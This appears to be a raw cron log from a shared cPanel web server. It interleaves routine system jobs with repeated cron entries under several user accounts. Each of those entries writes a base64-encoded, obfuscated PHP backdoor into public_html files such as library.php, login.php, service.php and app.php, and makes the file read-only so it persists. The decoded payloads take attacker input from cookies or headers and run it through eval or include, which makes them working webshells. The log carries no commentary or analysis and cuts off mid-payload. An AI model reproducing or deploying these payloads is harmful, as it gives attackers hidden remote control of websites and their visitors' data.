Mar  2 09:23:02 medusa CROND[10468]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:24:01 medusa CROND[24649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:24:01 medusa CROND[24700]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:24:02 medusa CROND[24867]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:24:02 medusa CROND[24870]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:24:02 medusa CROND[24871]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:24:02 medusa CROND[24876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:24:02 medusa CROND[24881]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:24:02 medusa CROND[24882]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:24:02 medusa CROND[24892]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:24:02 medusa CROND[24895]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:24:02 medusa CROND[24894]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:24:02 medusa CROND[24896]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:24:02 medusa CROND[24912]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:25:02 medusa CROND[10934]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:25:02 medusa CROND[10935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10936]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:25:02 medusa CROND[10937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:25:02 medusa CROND[10938]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:25:02 medusa CROND[10942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:25:02 medusa CROND[10940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:25:02 medusa CROND[10952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:25:02 medusa CROND[10939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:25:02 medusa CROND[10953]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:25:02 medusa CROND[10957]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10958]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10959]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:25:02 medusa CROND[10961]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:25:02 medusa CROND[10962]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10949]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:25:02 medusa CROND[10972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10976]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:25:02 medusa CROND[10982]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:25:02 medusa CROND[10984]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdK